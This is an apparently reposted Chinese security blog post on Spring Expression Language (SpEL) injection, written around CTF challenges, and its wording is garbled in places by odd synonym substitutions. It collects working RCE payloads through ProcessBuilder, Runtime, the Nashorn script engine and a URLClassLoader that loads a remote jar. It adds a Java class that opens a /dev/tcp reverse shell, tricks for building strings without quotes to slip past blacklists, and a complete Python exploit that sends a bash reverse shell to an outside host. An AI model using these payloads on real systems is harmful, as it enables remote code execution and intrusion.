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前言

和一个大帅逼一起研究了一下SpEL注入RCE剖析以及技巧，拿来分享一下，抛砖引玉。

SpEL注入基础

SpEL简介

Spring表达式语言（简称 SpEL，全称Spring Expression Language）是一种功效强大的表达式语言，支持在运行时查询和操作工具图。它语法类似于OGNL，MVEL和JBoss EL，在方式挪用和基本的字符串模板提供了极大地便利，也开发减轻了Java代码量。另外 , SpEL是Sprin *** 品组合中表达评估的基础，但它并不直接与Spring绑定,可以自力使用。

基本用法:

SpEL挪用流程 : 1.新建剖析器 2.剖析表达式 3.注册变量(可省,在取值之前注册) 4.取值

示例1:不注册新变量的用法

ExpressionParser parser = new SpelExpressionParser();//建立剖析器
Expression exp = parser.parseExpression("'Hello World'.concat('!')");//剖析表达式
System.out.println( exp.getValue() );//取值，Hello World！

示例2:自界说注册加载变量的用法

public class Spel {
    public String name = "何止";
    public static void main(String[] args) {
        Spel user = new Spel();
        StandardEvaluationContext context=new StandardEvaluationContext();
        context.setVariable("user",user);//通过StandardEvaluationContext注册自界说变量

        SpelExpressionParser parser = new SpelExpressionParser();//建立剖析器
        Expression expression = parser.parseExpression("，user.name");//剖析表达式
        System.out.println( expression.getValue(context).toString() );//取值,输出何止
    }
}

了解了基本用法之后，我们可以通过建立实例，挪用方式先组织几个rce的payload

会用到的语法

spel语法中的T()操作符 , T()操作符会返回一个object , 它可以辅助我们获取某个类的静态方式 , 用法T(全限制类名).方式名()，后面会用获得

spel中的，操作符可以用于符号工具

RCE第一部门

第一部门就是最基础的思绪 : 新建实例 , 挪用下令执行方式

01 : 挪用ProcessBuilder

java代码

String[] str = new String[]{"open","/System/Applications/Calculator.app"};
ProcessBuilder p = new ProcessBuilder( str );
p.start();//打开计算器

spel中也可以使用new来组织，写法险些一样，我们可以把表达式简化为一行

new java.lang.ProcessBuilder(new String[]{"open","/System/Applications/Calculator.app"}).start()

完整的执行代码

String cmdStr = "new java.lang.ProcessBuilder(new String[]{\"open\",\"/System/Applications/Calculator.app\"}).start()";

ExpressionParser parser = new SpelExpressionParser();//建立剖析器
Expression exp = parser.parseExpression(cmdStr);//剖析表达式
System.out.println( exp.getValue() );//弹出计算器

固然java.lang包下的类无需使用全限制类名,故表达式可简化来bypass

new ProcessBuilder(new String[]{"open","/System/Applications/Calculator.app"}).start()

02 : 挪用RunTime

java挪用，由于Runtime类使用了单例模式-饿汉式，需要挪用Runtime的静态方式获得Runtime实例

Runtime rt = Runtime.getRuntime();//
rt.exec(new String[]{"open","/System/Applications/Calculator.app"});

和上个用法略有差别注释在payload后给出

使用string参数 (java.lang包下的类不需要加全限制类名)

T(java.lang.Runtime).getRuntime().exec("open /System/Applications/Calculator.app")

字符串数组方式挪用

T(Runtime).getRuntime().exec(new String[]{"open","/System/Applications/Calculator.app"})

注释: 由于RunTime类使用了单例模式 ,获取工具的话不能直接通过组织方式获得,必须通过静态方式getRuntime来获得 , 其源码可参考下图 , 挪用静态方式的话需要使用SpEL的T()操作符,T()操作符会返回一个object.

03 : 挪用ScriptEngine

从ruilin师傅的文章学到还可以用js引擎(不知道能不能用颜文字或者其他js绕过的方式到这里，暂时没实验乐成，测试成的师傅可以分享下).

获取所有js引擎信息

public static void main(String[] args) {
        ScriptEngineManager manager = new ScriptEngineManager();
        List<ScriptEngineFactory> factories = manager.getEngineFactories();
        for (ScriptEngineFactory factory: factories){
                System.out.printf(
                    "Name: %s%n" + "Version: %s%n" + "Language name: %s%n" +
                    "Language version: %s%n" +
                    "Extensions: %s%n" +
                    "Mime types: %s%n" +
                    "Names: %s%n",
                    factory.getEngineName(),
                    factory.getEngineVersion(),
                    factory.getLanguageName(),
                    factory.getLanguageVersion(),
                    factory.getExtensions(),
                    factory.getMimeTypes(),
                    factory.getNames()
                );
        }
 }

Name: Oracle Nashorn
Version: 1.8.0_261
Language name: ECMAScript
Language version: ECMA - 262 Edition 5.1
Extensions: [js]
Mime types: [application/javascript, application/ecmascript, text/javascript, text/ecmascript]
Names: [nashorn, Nashorn, js, *** , JavaScript, javascript, ECMAScript, ecmascript]

通过效果中的Names，我们知道了所有的js引擎名称故getEngineByName的参数可以填[nashorn, Nashorn, js, *** , JavaScript, javascript, ECMAScript, ecmascript],举个例子:

ScriptEngineManager sem = new ScriptEngineManager();
ScriptEngine engine = sem.getEngineByName("nashorn");
System.out.println(engine.eval("2+1"));

那么payload也就显而易见

nashorn

new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("s=[2];s[0]='open';s[1]='/System/Applications/Calculator.app';java.lang.Runtime.getRuntime().exec(s);")

javascript

[[${new javax.script.ScriptEngineManager().getEngineByName("javascript").eval("s=[2];s[0]='open';s[1]='/System/Applications/Calculator.app';java.lang.Runtime.getRuntime().exec(s);")}]]

OK基础的第一部门到此竣事

RCE第二部门

下面更先第二部门 , 思绪 : 反射组织RCE ，下面反射中用到的类包罗但不限于上述部门

首先简朴先容反射 :

JAVA反射机制是在运行状态中，对于随便一个类，都能够知道这个类的所有属性和方式；对于随便一个工具，都能够挪用它的随便方式和属性；这种动态获取信息以及动态挪用工具方式的功效称为java语言的反射机制

然后简朴先容ClassLoader :

JVM(java虚拟机) 拥有多种ClassLoader, 差别的 ClassLoader 会从差别的地方加载字节码文件, 加载方式可以通过差别的文件目录加载, 也可以从差别的 jar 文件加载，还包罗使用 *** 服务地址来加载。几个主要的 ClassLoader : BootstrapClassLoader、ExtensionClassLoader 和AppClassLoader、UrlClassLoader

下面组织会用到AppClassLoader和UrlClassLoader

04 : UrlClassLoader

URLClassLoader 可以加载远程类库和内陆路径的类库

挪用思绪 : 远程加载class文件，通过函数挪用或者静态代码块来挪用

先组织一份Exp.jar , 放到远程vps即可

一份通过组织方式反弹shell的Exp.java实例

public class Exp{
    public Exp(String address){
        address = address.replace(":","/");
        ProcessBuilder p = new ProcessBuilder("/bin/bash","-c","exec 5<>/dev/tcp/"+address+";cat <&5 | while read line; do $line 2>&5 >&5; done");
        try {
            p.start();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

起一个http服务示例

http python -m SimpleHTTPServer 8990

Payload

注重必须使用全限制类名 , 或许这个可以过一些bypass

new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://127.0.0.1:8999/Exp.jar")}).loadClass("Exp").getConstructors()[0].newInstance("127.0.0.1:2333")

05 : AppClassLoader

AppClassLoader 直接面向用户,它会加载 Classpath 环境变量里界说的路径中的 jar 包和目录

,

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,

由于双亲委派的存在,它可以加载到我们想要的类

使用的条件是获取 , 获取AppClassLoader可以通过ClassLoader类的静态方式getSystemClassLoader

System.out.println(ClassLoader.getSystemClassLoader());

  • 加载Runtime执行

    由于需要挪用到静态方式以是照样要用到T()操作

    T(ClassLoader).getSystemClassLoader().loadClass("java.lang.Runtime").getRuntime().exec("open /System/Applications/Calculator.app")

  • 加载ProcessBuilder执行

    [[${T(ClassLoader).getSystemClassLoader().loadClass("java.lang.ProcessBuilder").getConstructors()[1].newInstance(new String[]{"open","/System/Applications/Calculator.app"}).start()}]]

06: 通过其他类获取AppClassLoader

这里我新开一个题目原因是在现实的web项目开发者会导入许多依赖的jar，或编写自界说类

实例1:

使用spel的话一定存在名为org.springframework的包，这个包下有许许多多的类，而这些类的classloader就是app

好比:org.springframework.expression.Expression类

System.out.println( org.springframework.expression.Expression.class.getClassLoader() );

那么很容易就可以获得一个获取AppClassLoader的方式 ,

T(org.springframework.expression.Expression).getClass().getClassLoader()

假设使用thyemleaf的话会有org.thymeleaf.context.AbstractEngineContext:

T(org.thymeleaf.context.AbstractEngineContext).getClass().getClassLoader()

假设有一个自界说的类那么可以:

T(com.ctf.controller.Demo).getClass().getClassLoader()

类比较多，不外多叙述

07: 通过内置工具加载UrlClassLoader

request、response工具是web项目的常客,也有许多有趣,好比截图所示,这里会有个很有趣的器械,过段时间补出来

ok……第二部门完结，最厥后整点bypass

08: Interesting bypass

看到这里会有些累了，这里需要有一些java基础来有选择性的bypass

假设黑名单有如下情形，来源于ddctf :

"java.+lang", "Runtime|Process|byte|OutputStream|session|\"|'", "exec.*\\(", "write|read", "invoke.*\\(", "\\.forName.*\\(", "lookup.*\\(", "\\.getMethod.*\\(", "javax.+script.+ScriptEngineManager", "com.+fasterxml", "org.+apache", "org.+hibernate", "org.+thymeleaf", "javassist", "javax\\.", "eval.*\\(", "\\.getClass\\(", "org.+springframework", "javax.+el", "java.+io"};
  • java.lang被禁用可以不用全限制类名
  • Runtime、Process、javax.script.ScriptEngineManager被杀就得通过第二部门反射了
  • eval、exec啥的也没了
  • org.thymeleaf一类的包都被禁用了就放弃我们06阶段说的前两个
  • 引号也没了，就找找字符串转换函数
  • 不在一一列举

从两个大的方向来谈: 不能有字符串、不能以直接用Runtime等类

不能直接使用类

Runtime等类被禁用我们可以使用06所说的自界说类，

ddctf里拥有几个自界说类safafilter和com.ctf.model.User类啥的，只要通过import来找到全限制类名就好；

还可以使用07所说的内置工具request、response两者也可拿来先加载ClassLoader，再加载想要的类。

不能直接使用字符串

引号被过滤不能以直接使用字符串，这里提供三种组织字符串的方式

1.T(类名).getName()会返回字符串类型的全限制类名

好比:[[${T(String).getName()}]]效果为java.lang.String

然后我们就可以使用角标来组织我们想要的字符串

[[${T(String).getName()[0].replace(106,104)+T(String).getName()[0].replace(106,51)+T(String).getName()[0].replace(106,122)+T(String).getName()[0].replace(106,104)+T(String).getName()[0].replace(106,49)}]]
，回显h3zh1

2.使用Character类组织字符串

[[${T(Character).toString(104)+T(Character).toString(51)+T(Character).toString(122)+T(Character).toString(104)+T(Character).toString(49)}]]

3.外部可控字符绕过

通过web请求组织字符串,request有许多方式返回值为String也有String[]用来给getMethod或者getDeclaredMethod的方式定制参数

post方式组织字符串

[[${，request.getMethod().substring(0,1).replace(80,104)%2b，request.getMethod().substring(0,1).replace(80,51)%2b，request.getMethod().substring(0,1).replace(80,122)%2b，request.getMethod().substring(0,1).replace(80,104)%2b，request.getMethod().substring(0,1).replace(80,49)}]]

get方式组织字符串

[[${，request.getMethod().substring(0,1).replace(71,104)%2b，request.getMethod().substring(0,1).replace(71,51)%2b，request.getMethod().substring(0,1).replace(71,122)%2b，request.getMethod().substring(0,1).replace(71,104)%2b，request.getMethod().substring(0,1).replace(71,49)}]]

外部的cookie绕过

[[${，request.getRequestedSessionId()}]]

09: 补个例子印证

刚竣事了D3CTF，过了交wp的时间，补个例题来印证一下，此处为AntCTF x D^3CTF的Happy_Valentine's_Day
name处是个spel注入 , 这个题黑名单测了挺久比ddctf那次多一些。

  • 由于貌似种种直接可用的类都无了，也没有文件读取，也没办法读到什么可用的类，以是选择使用request工具来加载ClassLoader
  • T操作符也无了
  • 字符串绕过使用replace函数和substring函数
  • String[].class可以通过getParameterValues方式的来获取
  • 固然也可使用其他的函数来获取String.class不外cmd需要转换成String的
  • new字符串被禁用了,可以用Runtime类
  • 由于过滤了引号 , 使用外部Cookie来取代，固然ContentType啥的也可以

组织反射执行链大致如下:

request.getClass().getClassLoader().loadClass("java.lang.Runtime").getDeclaredMethod("exec",String[].class).invoke(，request.getClass().getClassLoader().loadClass("java.lang.Runtime").getDeclaredMethod("getRuntime").invoke(，request.getClass().getClassLoader().loadClass("java.lang.Runtime")),new String[]{"curl","vpsAddress"})

完整exp

import requests
import urllib.parse

，获取classLoader
def getClass(className):
    return "，request.getClass().getClassLoader().loadClass("+getString(className)+")"

，字符串替换函数
def getString(string):
    strc=""
    for i in string:
        strc = strc + "，request.getRequestedSessionId().replace(97,{})+".format(str(ord(i)))
    return strc[:-1]

，实在没啥用
def getCmdStr(yourCommand):
    prefix = "?cmd=/bin/bash&cmd=-c&cmd="
    surfix = urllib.parse.quote_plus(yourCommand)
    cmdStr = prefix + surfix
    return cmdStr

，获得String[].class
ArrayClass = "，request.getParameterValues("+getString("cmd")+").getClass()"

，加载RunTime的class
RunTimeClass = getClass("java.lang.Runtime")

poc = RunTimeClass + ".getDeclaredMethod("+getString("exec")+","+ArrayClass+").invoke("+RunTimeClass+".getDeclaredMethod("+getString("getRuntime")+").invoke("+RunTimeClass+"),，request.getParameterValues("+getString("cmd")+"))"

，print(poc)
，poc = urllib.parse.quote(poc)
payload = poc

header = {"Cookie":" *** ESSIONID=a"} ，不能删除用于replace函数
yourCommand = "/bin/bash -i >& /dev/tcp/vps/2366 0>&1" ，下令
cmd = getCmdStr(yourCommand) ， 不用管

url = "http://h3zh1/love"
url2 = "http://h3zh1/1nt3na1_pr3v13w"

payload = "[[${" + poc + "}]]" ，加上[[${}]]

，love路由的参数
data = {
    "name" : payload,
    "password" : "a"
}

s = requests.Session() ， 获取session保证session一致

r = s.post(url, data=data , headers = header) ，post方式 通报name渲染
r.encoding = "utf-8"
，print(r.text)
r = s.get( url2+cmd , headers = header ) ，加载渲染执行SPEL表达式
，print(r.text)

运行……

vps端

自己也搭了一个spel注入的环境，有需要的狮虎可以拿来实验：spelleaning

参考 :

Ruilin 由浅入深SpEL表达式注入破绽 : http://rui0.cn/archives/1043

EL : https://www.runoob.com/jsp/jsp-expression-language.html

SpEL : https://docs.spring.io/spring-framework/docs/current/reference/html/core.html，expressions

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